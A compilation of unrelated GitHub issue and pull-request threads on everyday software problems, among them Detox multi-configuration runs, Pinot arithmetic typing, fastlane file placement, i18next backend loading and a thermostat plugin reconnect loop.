`--2019-10-14 20:28:45--  (try: 7)  https://codeload.github.com/blaCCkHatHacEEkr/PENTESTING-BIBLE/zip/master
Connecting to codeload.github.com (codeload.github.com)|<IP_ADDRESS>|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length:<PHONE_NUMBER> (1.1G) [application/zip]
Saving to: ‘master.zip.1’
90% [==========================================================================================>          ] 1,087,356,064  899KB/s   in 22m 15s
2019-10-14 20:51:00 (796 KB/s) - Connection closed at byte<PHONE_NUMBER>. Retrying.
--2019-10-14 20:51:07--  (try: 8)  https://codeload.github.com/blaCCkHatHacEEkr/PENTESTING-BIBLE/zip/master
Connecting to codeload.github.com (codeload.github.com)|<IP_ADDRESS>|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length:<PHONE_NUMBER> (1.1G) [application/zip]
Saving to: ‘master.zip.1’
91% [===========================================================================================>         ] 1,093,568,920  469KB/s   in 25m 56s
2019-10-14 21:17:04 (686 KB/s) - Connection closed at byte<PHONE_NUMBER>. Retrying.
`

worked with git clone.


Deprecated: Please configure to 'seata.transport.rpcRmRequestTimeout'&rpc-tm-request-timeout

[ ] I have searched the issues of this repository and believe that this is not a duplicate.

Ⅰ. Issue Description

这两个配置实际上没有过时，但是无论配置成驼峰，还是中划线，都是显示deprecated
Ⅱ. Describe what happened
If there is an exception, please attach the exception trace:
Just paste your stack trace here!

Ⅲ. Describe what you expected to happen
Ⅳ. How to reproduce it (as minimally and precisely as possible)

xxx
xxx
xxx

Minimal yet complete reproducer code (or URL to code):
Ⅴ. Anything else we need to know?
Ⅵ. Environment:

JDK version(e.g. java -version):
Seata client/server version:
Database version:
OS(e.g. uname -a):
Others:

plz assign to me, thanks


Running multiple configurations

What happened?
Detox cannot destroy instances and run after cleanup. I have similar code in my application:
const detox = require('detox/internals');

async function main() {
   await detox.init({
    argv: {
      configuration: 'ios.release'
    },
  });

  await detox.cleanup();

  await detox.init({
    argv: {
      configuration: 'android.release'
    },
  });
}

main();

I'm getting:
DetoxRuntimeError: Cannot initialize primary Detox context more than once.

What I want to achieve to run multiple configurations for different platforms in a single file.
What was the expected behaviour?
There is a .destroy method or you can change configuration dynamically without destroying detox instance
Was it tested on latest Detox?

[X] I have tested this issue on the latest Detox release and it still reproduces.

Help us reproduce this issue!
module.exports = {
  testRunner: {
    args: {
      '$0': 'jest',
      config: 'e2e/jest.config.js'
    },
    jest: {
      setupTimeout: 120000
    }
  },
  apps: {
    'ios.release': {
      type: 'ios.app',
      binaryPath: "dist/ios-app.app",
    },
    'android.release': {
      type: 'android.apk',
      binaryPath: "dist/android-app.apk",
      testBinaryPath: "dist/android-app-test.apk"
    }
  },
  devices: {
    simulator: {
      type: 'ios.simulator',
      device: {
        type: 'iPhone 12'
      }
    },
    emulator: {
      type: 'android.emulator',
      device: {
        avdName: 'Pixel_3a_API_34_extension_level_7_arm64-v8a'
      }
    }
  },
  configurations: {
    'ios.release': {
      device: 'simulator',
      app: 'ios.release'
    },
    'android.release': {
      device: 'emulator',
      app: 'android.release'
    }
  }
};

In what environment did this happen?
Detox version: 20.9.1
React Native version: expo rn-0.71.8
Has Fabric (React Native's new rendering system) enabled: expo
Node version: 16.20.0
Test-runner (select one): other
Detox logs
Detox logs
N/A

Device logs
Device logs
N/A

More data, please!
No response

I understand what you mean. In v20 refactor I did not focus on this not so frequent use case to cut some corners.
I don't think I will address this due to fundamental architecture changes I am working on, exactly in this part.
But if you make a pull request sooner, I'll try to help you to complete it.

I would love to contribute. Could you please share more about API and how it should work? And it will be awesome if you point me where should I start

Well, that might be possible only for non-Jest tests. I mean, Jest integration is quite complex and I myself don't have a good idea yet how to make it work with test matrixes.
Do you want to implement it for Jest tests? Or you will be fine with some improvized quick and dirty test runner without any reporters, setups, etc.?

An improvised one will work for me. I'm creating screenshots from the Android and ios app. Right now it works when I'm making screenshots for android or ios, but when I want to make screenshot for Android then change the configuration and make screenshots for ios this happens

Sorry for barging in but what about running Detox several times, each with a different config?

@d4vidi It will be okay for me but when I'm config
await detox.init({
  argv: {
    configuration: 'android.release'
  },
});

how do "clear" that and init it again? Do you think of spawning child processes and cleanup detox at the end? Or using worker threads?
Could you please elaborate on what you have in mind?

I managed to make this snippet work:
// parent-runner.js
const path = require('path');
const { fork } = require('child_process');

async function runSandboxedTests(selectedConfiguration) {
  return new Promise((resolve, reject) => {
    const child = fork(path.join(__dirname, 'child-runner.js'), [selectedConfiguration]);

    child.on('error', reject);

    child.on('exit', (code) => {
      if (code === 0) {
        resolve();
      } else {
        reject(new Error(`Child process exited with code ${code}`));
      }
    });
  });
}

async function main() {
  await runSandboxedTests('ios.sim.debug');
  await runSandboxedTests('android.emu.debug');
}

main().catch(e => console.error(e));

// child-runner.js
const detox = require('detox/internals');
const log = detox.log.child({ cat: ['lifecycle'] });

async function main(selectedConfiguration) {
  async function test1() {
    log.info('Test 1');
    await device.launchApp();
  }

  async function test2() {
    log.info('Test 2');
    await device.terminateApp();
  }

  try {
    await detox.init({ override: { selectedConfiguration } });
    await test1();
    await test2();
  } finally {
    await detox.cleanup();
  }
}

const selectedConfiguration = process.argv[2];

main(selectedConfiguration)
  .then(() => process.exit(0))
  .catch((err) => {
    console.error(err);
    process.exit(1);
  });

Although it seems to work, after all, I think I can't really dedicate story points to solving this issue in terms of Detox 20 architecture. We'll be moving in quite an "orthogonal" direction now, and I just see I'd have to repeat the same work and remove it then. I can't provide support for this snippet either – just giving it as one of the possible directions of thought.

I understand you need to do your things. Thank you for this detailed example and for the help here. I'm happy with this solution and looking forward to a new iteration of Detox API.


Add gulp-lintspaces task to add .editorconfig check to CI

This PR should accomplish a few things:

Clean up .editorconfig with a couple rules that apply to other repository files
Add a gulp task to check non-lib repository files against .editorconfig rules (this is executed during CI and will trigger an error if the rules are not correctly followed)
Removes the site/ directory, and moves the contained _partials/ directory to the root dir (general cleanup)

Diffs are best viewed with the -w flag (or GitHub's &w=1 parameter for the same function on their diff pages)

Huh, Codacy isn't happy about the single-quotes -> double-quotes change... I'll go ahead and undo that and rebase on top of #167, then merge once Codacy's happy again.


Mark compiler_crashers/28702 as non-deterministic

It didn't crash once in CI.

@swift-ci please smoke test and merge

Unrelated PR test failure.

@swift-ci please smoke test and merge


Polymorphic binary arithmetic scalar functions

Implement polymorphic binary arithmetic scalar functions (+, -, *, /) based on the framework added in https://github.com/apache/pinot/pull/13573/ (similar to https://github.com/apache/pinot/pull/13711).
Before this, all such functions relied on double based calculations regardless of the input operand types. After this, functions involving only integer / long values will use a long based calculation.
This solves a whole class of bugs along with bringing standard SQL-like semantics.
The added test shows a simple case that would've failed without these changes. A query like: SELECT * FROM mytable WHERE ts BETWEEN now() - 1000 AND now()  fails on the v1 single-stage query engine without these changes. The reason is that during query compilation, the CompileTimeFunctionsInvoker query rewriter will replace now() - 1000 with the equivalent double value since that's the only available implementation of the minus function - https://github.com/apache/pinot/blob/852e4f3fdbbb97e27c2b819c8e73fe005ae1ead9/pinot-common/src/main/java/org/apache/pinot/common/function/scalar/ArithmeticFunctions.java#L38-L41
This fails later on either in the MergeRangeFilterOptimizer in the broker or in the ColumnValueSegmentPruner in the server. The root cause of both failures is that the literal representing the range bound gets converted to a string (see here and here for instance) and later when converting back to a LONG, we run into an issue since the string could be the scientific representation of the double value:

Exception: java.lang.IllegalArgumentException: Cannot convert value: '1.726807808874E12' to type: LONG
        at org.apache.pinot.spi.data.FieldSpec$DataType.convertInternal(FieldSpec.java:724)
        at org.apache.pinot.core.query.optimizer.filter.MergeRangeFilterOptimizer.getComparable(MergeRangeFilterOptimizer.java:149)
        at org.apache.pinot.core.query.optimizer.filter.MergeRangeFilterOptimizer.getRange(MergeRangeFilterOptimizer.java:135)
        at org.apache.pinot.core.query.optimizer.filter.MergeRangeFilterOptimizer.optimize(MergeRangeFilterOptimizer.java:85)

org.apache.pinot.spi.exception.BadQueryRequestException: java.lang.IllegalArgumentException: Cannot convert value: '1.727344079699E12' to type: LONG
	at org.apache.pinot.core.query.pruner.ValueBasedSegmentPruner.convertValue(ValueBasedSegmentPruner.java:157)
	at org.apache.pinot.core.query.pruner.ColumnValueSegmentPruner.pruneRangePredicate(ColumnValueSegmentPruner.java:176)
	at org.apache.pinot.core.query.pruner.ColumnValueSegmentPruner.pruneSegmentWithPredicate(ColumnValueSegmentPruner.java:88)
	at org.apache.pinot.core.query.pruner.ValueBasedSegmentPruner.pruneSegment(ValueBasedSegmentPruner.java:144)

We should also look into fixing the above root cause by using a type specific bounds in the range predicates instead of a string value.

I've removed the polymorphic division function implementation because that breaks backward compatibility for the v1 query engine. select 1 / 2 from mytable currently returns 0.5 in v1 and with the polymorphic function changes it would return 0 (which is actually the SQL compliant result, and is also the returned result in the v2 engine with or without these changes due to Calcite based return type inference of the standard division operator).

Codecov Report
All modified and coverable lines are covered by tests :white_check_mark:

Project coverage is 0.00%. Comparing base (59551e4) to head (ff6a73b).
Report is 1091 commits behind head on master.

:exclamation:  There is a different number of reports uploaded between BASE (59551e4) and HEAD (ff6a73b). Click for more details.
HEAD has 53 uploads less than BASE

Flag
BASE (59551e4)
HEAD (ff6a73b)

integration
7
1

integration2
3
1

temurin
12
1

java-21
7
1

skip-bytebuffers-true
3
1

skip-bytebuffers-false
7
0

unittests
5
0

unittests1
2
0

java-11
5
0

unittests2
3
0

integration1
2
0

custom-integration1
2
0

Additional details and impacted files
@@              Coverage Diff              @@
##             master   #14089       +/-   ##
=============================================
- Coverage     61.75%    0.00%   -61.76%
=============================================
  Files          2436        3     -2433
  Lines        133233        6   -133227
  Branches      20636        0    -20636
=============================================
- Hits          82274        0    -82274
+ Misses        44911        6    -44905
+ Partials       6048        0     -6048

Flag
Coverage Δ

custom-integration1
?

integration
0.00% <ø> (-0.01%)
:arrow_down:

integration1
?

integration2
0.00% <ø> (ø)

java-11
?

java-21
0.00% <ø> (-61.63%)
:arrow_down:

skip-bytebuffers-false
?

skip-bytebuffers-true
0.00% <ø> (-27.73%)
:arrow_down:

temurin
0.00% <ø> (-61.76%)
:arrow_down:

unittests
?

unittests1
?

unittests2
?

Flags with carried forward coverage won't be shown. Click here to find out more.

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.

Per the PG behavior: https://www.postgresql.org/docs/current/functions-math.html
Should it return INT for operations between INT columns?
Good catch on the division function behavior difference. In order to move towards standard SQL behavior without breaking backward compatibility, we can consider adding a query option to follow standard SQL. This way we can keep v1 behavior and also make v2 standard SQL compatible. V1 user can also migrate to standard SQL behavior.

Should it return INT for operations between INT columns?

Ideally yes, but that would break backward compatibility too (just like the division case). In PG,<PHONE_NUMBER> +<PHONE_NUMBER> returns ERROR:  integer out of range whereas in Pinot it returns<PHONE_NUMBER>.

Good catch on the division function behavior difference. In order to move towards standard SQL behavior without breaking backward compatibility, we can consider adding a query option to follow standard SQL. This way we can keep v1 behavior and also make v2 standard SQL compatible. V1 user can also migrate to standard SQL behavior.

Do you mean a specific query option for arithmetic related operations or just a generic option under which we'd bucket all such compatibility breaking but SQL compliant changes in the future? Also, the v2 behavior should already be SQL compliant because Calcite will make sure that the return type for the division operator is appropriate (and Pinot makes sure to cast internal values based on the expected return type of an operator).

Also, if we do end up introducing such a query option in the future, we should probably make sure that the arithmetic transform functions are updated to respect the query option too. For instance, there is an AdditionTransformFunction which also always returns DOUBLE regardless of the input operand types. And this is the function that will get used instead of the scalar function (that is being updated here) if there's a query like SELECT intCol + 5 FROM mytable.

I was thinking adding a general query option to turn v1 engine into standard sql compatible mode, so that v2 engine can enable it and get standard sql behavior. Even if we cast after getting the result, it might already lose precision and give inaccurate result.
Currently, when adding 2 ints, will v2 engine return int? For division, PG always round towards 0, which is not followed if we cast the result after execution.

Basically we want a general way so that we can add standard SQL support without breaking existing v1 queries

Even if we cast after getting the result, it might already lose precision and give inaccurate result.

Yes, this is a valid point. Also, an expression like 5 / 3 + 1.5 will return 3.166666666666667 in the v2 engine (since the cast is not done after each function call), as opposed to 2.5 in Postgres.

Currently, when adding 2 ints, will v2 engine return int

Yes, it does, which seems somewhat problematic because something like<PHONE_NUMBER> +<PHONE_NUMBER> results in an integer overflow occurring and a negative integer value being returned.

I was thinking adding a general query option to turn v1 engine into standard sql compatible mode, so that v2 engine can enable it and get standard sql behavior

Basically we want a general way so that we can add standard SQL support without breaking existing v1 queries

I wasn't able to find any common standard SQL definition for such arithmetic operations. For instance, in MySQL 1 / 2 returns 0.5 and<PHONE_NUMBER> +<PHONE_NUMBER> returns<PHONE_NUMBER> (similar to the Pinot v1 engine, unlike Postgres or Pinot v2 engine). Other databases seem to be doing this their own way as well. If there's a consensus that we always want to do things the Postgres way going forward, then the query option should be something like usePostgresSemantics? And coming to this PR itself, I presume we'd want the improvements here with or without such a query option right? And only put some of the compatibility breaking changes (like enforcing int for arithmetic operations on int and the type specific division) behind the new query option?


Fixed #14 - Renamed implicits in Schema, consistently to arity

Renaming implicits in zio.schema.Schema companion object to be consistent with their arity and solve a problem with conflicting implicit names.

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.


Remove duplicate telemetry

Codecov Report

Merging #11541 (ab56848) into main (c99ff0a) will decrease coverage by 0%.
The diff coverage is 61%.

:exclamation: Current head ab56848 differs from pull request most recent head 17395ea. Consider uploading reports for the commit 17395ea to get more accurate results

@@          Coverage Diff           @@
##            main   #11541   +/-   ##
======================================
- Coverage     63%      63%   -1%
======================================
  Files        477      477
  Lines      34100    34069   -31
  Branches    5535     5528    -7
======================================
- Hits       21526    21499   -27
+ Misses     10513    10508    -5
- Partials    2061     2062    +1

Impacted Files
Coverage Δ

src/kernels/helpers.node.ts
62% <ø> (-5%)
:arrow_down:

src/kernels/jupyter/jupyterKernelService.node.ts
72% <0%> (-2%)
:arrow_down:

src/kernels/kernelProvider.node.ts
100% <ø> (ø)

...ls/raw/session/rawNotebookSupportedService.node.ts
91% <ø> (+2%)
:arrow_up:

src/platform/errors/types.ts
68% <ø> (ø)

src/platform/telemetry/helpers.ts
80% <ø> (+2%)
:arrow_up:

src/telemetry.ts
7% <0%> (+<1%)
:arrow_up:

...otebooks/controllers/controllerPreferredService.ts
84% <50%> (-1%)
:arrow_down:

src/kernels/jupyter/finder/remoteKernelFinder.ts
88% <100%> (ø)

src/kernels/jupyter/launcher/jupyterExecution.ts
62% <100%> (ø)

... and 11 more


Add gulp npm script

Closes #4254
Additions

A gulp npm script that allows the local gulp executable to be run

Testing

npm remove gulp-cli -g && which gulp

Should be gulp not found

npm run gulp

Ensure gulp runs the build task

npm run gulp clean
Ensure gulp runs with passed arguments

We should also update the installation / usage instructions as needed.

Do we want to update everything in this PR? Like:

gulp install in Travis https://github.com/cfpb/cfgov-refresh/blob/master/travis_install.sh#L5
gulp build command https://github.com/cfpb/cfgov-refresh/blob/master/frontend.sh#L112
gulp test command in Travis https://github.com/cfpb/cfgov-refresh/blob/master/travis_run.sh#L11

Does this pass the --travis and --headless flags through? Wondering if that could be related to the Travis error.


update cql-execution to 1.3.5

Pull requests into cqm-execution-service require the following. Submitter and reviewer should :white_check_mark: when done. For items that are not-applicable, note it's not-applicable ("N/A") and :white_check_mark:.
Submitter:

[ ] This pull request describes why these changes were made.
[ ] Internal ticket for this PR:
[ ] Internal ticket links to this PR
[ ] Code diff has been done and been reviewed
[ ] Tests are included and test edge cases
[ ] Tests have been run locally and pass

Reviewer 1:
Name:

[ ] Code is maintainable and reusable, reuses existing code and infrastructure where appropriate, and accomplishes the task’s purpose
[ ] The tests appropriately test the new code, including edge cases
[ ] You have tried to break the code

Reviewer 2:
Name:

[ ] Code is maintainable and reusable, reuses existing code and infrastructure where appropriate, and accomplishes the task’s purpose
[ ] The tests appropriately test the new code, including edge cases
[ ] You have tried to break the code

Codecov Report

Merging #54 into cypress_v5 will not change coverage.
The diff coverage is n/a.

@@            Coverage Diff            @@
##           cypress_v5    #54   +/-   ##
=========================================
  Coverage         100%   100%
=========================================
  Files               1      1
  Lines              40     40
=========================================
  Hits               40     40

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 45eb30d...ed3f92c. Read the comment docs.


fix: correct PoolAccumulatorRewardsRequest to IncentiveRecordsRequest

What is the purpose of the change
fix the wrong request arguments type used by IncentiveRecordsRequest

Awesome thanks!
@BabyHalimao Just out of curiosity, were you using this command for something?

nop, I'm just searching for how to send an request like the osmosisd do, and found this "unmatched code" 😂

Awesome! Very glad to hear that developers are using this command! thanks :)


Some animations not firing on mobile.

Not all animations are firing on mobile.  On this page about half the animations do not fire.  Because I am using fade-left and fade-right nothing appears on mobile.  Staging link below where this bug can be  seen.
http://staging.1035seaside.com/building/
This is:

Bug

Specifications

AOS version: 2.3.1
OS: iOS 13.1
Browser: Safari

Expected Behavior

All blocks fade and slide in like on desktop.
Actual Behavior

About half the blocks never appear on mobile.
Steps to Reproduce the Problem

Open http://staging.1035seaside.com/building/ on mobile
Scroll Down.
Compare content of page with desktop to see missing content.

Detailed Description

Possible Solution

Same issue exists when upgrading to 3.0.0 Beta 6.

I don't have that problem on a Samsung S10 inside Chrome - seems to be an issue with Safari-Webkit

@RenegadeMonster I have mentioned a solution which worked for me here https://github.com/michalsnik/aos/issues/646#issuecomment-803794602
I hope it will work for you.


CNV-28377: Update help text for volume creation and empty state

📝 Description
Fixes:
https://issues.redhat.com/browse/CNV-28377
Design doc:
https://docs.google.com/document/d/1R2TY2fbXRxxWIikK-ssava27kI6s6tvEE0kJpSLsxM4/
Update help text to help user to add volumes to boot from when creating VM from InstanceTypes:
"The Volume table displays DataSources and PersistentVolumeClaims that VirtualMachines can boot from. Click Add volume to boot from a volume that is not listed."
Update empty state text to:
"No volumes found
Click Add volume to add a volume to boot from"
Make these updates according to the latest design changes.
🎥 Screenshots
Before:
Popover with the appropriate help text:

If no volumes available:

After:
Popover with the appropriate help text:

Shorter text for empty state:

@avivtur @metalice @pcbailey @upalatucci @vojtechszocs please review


Get Page Ranges Continuation Token

API changes have been detected in Azure.Storage.Files.Shares. You can review API changes here
API changes
+             V2021_06_08 = 12,

API changes have been detected in Azure.Storage.Files.DataLake. You can review API changes here
API changes
+             V2021_06_08 = 12,

API changes have been detected in Azure.Storage.Queues. You can review API changes here
API changes
+             V2021_06_08 = 12,

API changes have been detected in Azure.Storage.Blobs. You can review API changes here

API changes have been detected in Azure.Storage.Blobs. You can review API changes here


#35 Add methods for adding labels for int, double and bool.

Closed due to commit message linting. Will re-create with better messages.


fix Index-Developer Resources-More... Open link error

fix Index-Developer Resources-More... Open link error

@donggyu04 Thanks for your help，new PR created

@lingsoul
I found some unimplemented part in home-panel component.
I will fix that and cherry pick your commit.
Thanks.

@lingsoul
Could you resolve conflict?
some code is merged into develop so, minor conflict is occurred.

@donggyu04
conflict resolved

@lingsoul
It looks not resolved yet.

You can rebase following step.

checkout develop branch.
pull or fetch --all and reset hard origin/develop.
checkout dev_fix_link_error branch.
run rebase develop on dev_fix_link_error branch

Hello, I resubmitted it. Do you think the problem has been solved？

@lingsoul
I just want exist only one commit as you modified.
Why don't you create new PR instead of rebase?

you create new PR from new fixed branch (base on up to date develop branch)

apply #518


Fix Slack snapshots bug

When a user's full_name is not present, email is sent as the author_name. Slack confirmed a bug where author_name cannot be an email address:

Display the local-part of email until Slack introduces a bug fix:

PTAL @obfuscurity @nextmat

I like this as a short-term workaround, but it'd be good to follow-up on this and revert once we know Slack has shipped a fix.

@obfuscurity agreed. I've already requested a follow-up on the support ticket. Here's the response:

Thanks for your patience with this issue! I know that the workaround isn't ideal.
We've logged this as a bug and I'll be in touch once we've had a look into it.

I was wondering if we should just omit author_name entirely if full_name is not present. Might not look as sleek for certain addresses, i.e., portal-dev.

Seems like a reasonable compromise to me, I'm fine with it as proposed (for now).


deliver puts the Preview.html file in the root project folder rather than in the fastlane folder.

New Issue Checklist

[x] Updated fastlane to the latest version
[x] I read the Contribution Guidelines
[x] I read docs.fastlane.tools
[x] I searched for existing GitHub issues

Issue Description
I just noticed that deliver puts the Preview.html file in the root project folder rather than in the "fastlane" folder. By default, fastlane put this in my .gitignore when I ran init:
# deliver temporary files
fastlane/Preview.html

But since it puts the Preview.html file in the root folder, it is showing up as a change in git. Plus it's better to put it in the fastlane folder for organization purposes.
Complete output when running fastlane, including the stack trace and command used
Not applicable
Environment
✅ fastlane environment ✅
Stack

Key
Value

OS
10.13.5

Ruby
2.4.2

Bundler?
true

Git
git version 2.15.2 (Apple Git-101.1)

Installation Source
~/.rvm/gems/ruby-2.4.2/bin/fastlane

Host
Mac OS X 10.13.5 (17F77)

Ruby Lib Dir
~/.rvm/rubies/ruby-2.4.2/lib

OpenSSL Version
OpenSSL 1.1.0g  2 Nov 2017

Is contained
false

Is homebrew
false

Is installed via Fabric.app
false

Xcode Path
/Applications/Xcode.app/Contents/Developer/

Xcode Version
9.4.1

System Locale

Variable
Value

LANG
en_CA.UTF-8
✅

LC_ALL

LANGUAGE

fastlane files:
`./fastlane/Fastfile`
# This file contains the fastlane.tools configuration
# You can find the documentation at https://docs.fastlane.tools
#
# For a list of all available actions, check out
#
#     https://docs.fastlane.tools/actions
#
# For a list of all available plugins, check out
#
#     https://docs.fastlane.tools/plugins/available-plugins
#

# Uncomment the line if you want fastlane to automatically update itself
# update_fastlane

ENV["GET_PRODUCT_BUNDLE_ID_PROJECT_PATH"] = "DashMD.xcodeproj"

default_platform(:ios)

platform :ios do
  desc "Push a new beta build to TestFlight (use fastlane beta --env development for dev app)"
  lane :beta do |options|
    app_target = ENV["APP_TARGET"]
    app_scheme = ENV["APP_SCHEME"]

    version = prompt(
      text: "Type in desired version (currently " + get_version_number(target: app_target) + "):",
    )

    changelog = prompt(
      text: "Paste in changelog:",
      multi_line_end_keyword: "END"
    )

    distribute = prompt(
      text: "Distribute to external testers?",
      boolean: true
    )

    increment_version_number_in_plist(version_number: version, target: app_target)

    testflight_build_number = latest_testflight_build_number(version: get_version_number(target: app_target))
    increment_build_number(build_number: testflight_build_number + 1)

    if !options[:skip_build]
      build_app(workspace: "DashMD.xcworkspace", scheme: app_scheme)
    end

    upload_to_testflight(app_identifier: ENV["APP_IDENTIFIER"], changelog: changelog, distribute_external: distribute)
  end

  desc "Push a new release build to App Store Connect (update release notes in metadata)"
  lane :release do |options|
    app_target = ENV["APP_TARGET"]
    app_scheme = ENV["APP_SCHEME"]

    version = prompt(
      text: "Type in desired version (currently " + get_version_number(target: app_target) + "):",
    )

    should_review = prompt(
      text: "Should the build be submitted for review?",
      boolean: true
    )

    increment_version_number_in_plist(version_number: version, target: app_target)

    testflight_build_number = latest_testflight_build_number(version: get_version_number(target: app_target))
    increment_build_number(build_number: testflight_build_number + 1)

    if !options[:skip_build]
      build_app(workspace: "DashMD.xcworkspace", scheme: app_scheme)
    end

    deliver(submit_for_review: should_review)
  end
end

`./fastlane/Appfile`
app_identifier ENV["APP_IDENTIFIER"] # The bundle identifier of your app
apple_id ENV["DASHMD_APPLE_ID"] # Your Apple ID
# Add export<EMAIL_ADDRESS>(replacing USERNAME) to your ~/.bash_profile
# to load your Apple ID into your local bash profile

itc_team_id("118296251") # iTunes Connect Team ID
team_id("V8B22HRKPX") # Developer Portal Team ID

# For more information about the Appfile, see:
#     https://docs.fastlane.tools/advanced/#appfile

fastlane gems

Gem
Version
Update-Status

fastlane
2.98.0
✅ Up-To-Date

Loaded fastlane plugins:

Plugin
Version
Update-Status

fastlane-plugin-versioning
0.3.4
✅ Up-To-Date

Loaded gems

Gem
Version

did_you_mean
1.1.0

executable-hooks
1.3.2

bundler-unload
1.0.2

rubygems-bundler
1.4.4

bundler
1.16.2

io-console
0.4.6

CFPropertyList
3.0.0

public_suffix
2.0.5

addressable
2.5.2

atomos
0.1.2

babosa
1.0.2

claide
1.0.2

colored
1.2

colored2
3.1.2

highline
1.7.10

commander-fastlane
4.4.6

declarative
0.0.10

declarative-option
0.1.0

unf_ext
<IP_ADDRESS>

unf
0.1.4

domain_name
0.5.20180417

dotenv
2.4.0

emoji_regex
0.1.1

excon
0.62.0

multipart-post
2.0.0

faraday
0.15.2

http-cookie
1.0.3

faraday-cookie_jar
0.0.6

faraday_middleware
0.12.2

fastimage
2.1.3

gh_inspector
1.1.3

jwt
2.1.0

little-plugger
1.1.4

multi_json
1.13.1

logging
2.2.2

memoist
0.16.0

os
0.9.6

signet
0.8.1

googleauth
0.6.2

httpclient
2.8.3

mime-types-data
3.2016.0521

mime-types
3.1

uber
0.1.0

representable
3.0.4

retriable
3.1.2

google-api-client
0.21.2

json
2.1.0

mini_magick
4.5.1

multi_xml
0.6.0

plist
3.4.0

rubyzip
1.2.1

security
0.1.3

naturally
2.2.0

simctl
1.6.4

slack-notifier
2.3.2

terminal-notifier
1.8.0

unicode-display_width
1.4.0

terminal-table
1.8.0

tty-screen
0.6.4

tty-cursor
0.5.0

tty-spinner
0.8.0

word_wrap
1.0.0

nanaimo
0.2.5

xcodeproj
1.5.9

rouge
2.0.7

xcpretty
0.2.8

xcpretty-travis-formatter
1.0.0

fastlane-plugin-versioning
0.3.4

generated on: 2018-06-19

+1

@simonbromberg PR created for this ^

Need to reopen the issue to track the problem reported by @hons82


i18n.init promise not resolving

🐛 Bug Report
Edit: The issue came back, maybe this should be on stand by while I look into it again.. 😭
I believe this package doesn't work well with latest version or i18next
For context, I just recreated my entire monorepo to fix some issues I had with react-native and in this new repo I had issues with loading my translations. I see in network tab that they are fetched correctly but i18n.init is never resolved (no promise error either). After a couple days of trying to debug I decided to just copy and paste my dependency versions from last repo and it fixed my issue. (I don't believe it's broken from 1.1.2 after my quick look in your commit history, but I think it might be how this connected to newer i18next versions)
left = current up to date
right = old repo working versions

To Reproduce
This is my code I used, it's not very copy-pastable, but I've added some comments to help with understanding
const BackendResource = resourcesToBackend(async (...args) => {
  const [lang, ns] = args as [LangType, NamespaceType];
  const now = Date.now();
  const appVersion = Config.version;
  const storageTranslationKey = `translation.${lang}.${ns}` as const;

  // When in dev mode, ignore cache : When not, use local cache and validate if it should be used or refetched
  const localTranslation = __DEV__ ? null : await Storage.get(storageTranslationKey);
  if (localTranslation) {
    if (
      isSameWeek(now, localTranslation.cacheDate) &&
      localTranslation.appVersion === appVersion
    ) {
      return localTranslation;
    }
  }

  // Make sure Firebase config was loaded to get appropriate "LOCALE_URL"
  await RemoteConfig.setup().catch((err) => console.error(err));

  try {
    const serverTranslation = await fetch(urlWithQuery(`${RemoteConfig.getUrl('LOCALE_URL')}/${lang}/${ns}.json`, { v: appVersion }))
      .then((res) => res.json());

   // Cache translation localy
    await Storage.set(storageTranslationKey, {
      cacheDate: now,
      appVersion,
      translations: serverTranslation,
    });

   // Return cache or fetched translations
    return serverTranslation;
  } catch (err) {
    console.error(err)
    // Return empty object and assume no key was ever defined
    return {};
  }
});

export function useI18nSetup() {
  const [i18nInitialized, setI18nInitialized] = useState(false);

  useEffect(() => {
    // Force non-blocking after 5seconds (give some time to serverless cold-start)
    const timeout = setTimeout(() => setI18nInitialized(true), 5000);
    i18next
      .use(initReactI18next)
      .use(BackendResource)
      .init({
        react: {
          useSuspense: false, // Prevents synchronous issue
        },
        interpolation: {
          escapeValue: false, // not needed for react as it escapes by default
        },
        load: 'languageOnly',
        supportedLngs: SupportedLanguages,
        lng: FallbackLanguage, // TODO -- Auto detect
        fallbackLng: FallbackLanguage,
        ns: Namespaces,
      })
      .then(() => {
        console.log('i18n works');
        setI18nInitialized(true);
      })
      .catch((err) => {
        console.log('i18n err')
        setI18nInitialized(true);
      })
      .finally(() => {
        clearTimeout(timeout);
      });
  }, []);

  return i18nInitialized;
}

Expected behavior
I expect i18n.init to resolve as it should / usually did
Your Environment

runtime version: v18.12.1
i18next version: 22.4.12
os: Mac

Instead of async (...args) => { try with async (lng, ns) => {

Instead of async (...args) => { try with async (lng, ns) => {

I had already tried it, but anyway I can confirm that method is not the issue because the code is always running as expected without any exceptions
try {
    const serverTranslation = await fetch(urlWithQuery(`${RemoteConfig.getUrl('LOCALE_URL')}/${lang}/${ns}.json`, { v: appVersion }))
      .then((res) => res.json());

   // Cache translation localy
    await Storage.set(storageTranslationKey, {
      cacheDate: now,
      appVersion,
      translations: serverTranslation,
    });

    console.log({ lang, ns, serverTranslation }); // This always logs as expected + network tab shows me all the fetch request responsing as expected
   // Return cache or fetched translations
    return serverTranslation;
  } catch (err) {
    console.error(err)
    // Return empty object and assume no key was ever defined
    return {};
  }

I'm very confused as to why this is an issue. I'll be investigating more monorepo specific reasons this could be running incorrectly tonight.
I'm unsure if my issue is from this package, I was able to run with static resources without this package setup, so it does seem like it.

try with v1.1.3...
if it works, it was the function signature...

Just got back on my project and yeah you were right about the spread operator.. 😅
Thank you very much for the fix and help ! 🙏


Plugin gets into a tight connection loop

The plugin gets into a tight connection loop when it cannot connect and ends up overwhelming the device.  I discovered this with the proxy client that I messaged you about.
In the below logs <IP_ADDRESS> is my thermostat, and <IP_ADDRESS> is my HA box.   This wouldn't happen on a real device, which already handles a 10 second delay between attempts to reconnect. Your proxy that you developed is probably accepting the connection and then dropping it, which triggers a different flow.

This tool was developed originally to log the connection information only. It was purely by accident I discovered this issue, while trying to work out why the device connection was dying on startup when connected to the HA plugin.
The plugin was not handling a 10 second delay, on startup while the thermostat was booting up. And the spamming of the connection, causes it to go back into the state where it doesn’t accept a connection.

@nberardi FYI, I think I see where the issue is, and it will be fixed in the next release. Your proxy did a thing where it accepted and dropped the connection, which I hadn't seen happen before. The logic didn't properly handle the case where a disconnect would happen in that state. I'm going to reopen this, it should be fixed in general with the next release.

That is great to hear regarding the fix.
That connecting and dropping is something I have observed and logged on my 8840 above as well. It seems to happen when the thermostat gets overwhelmed with connections.
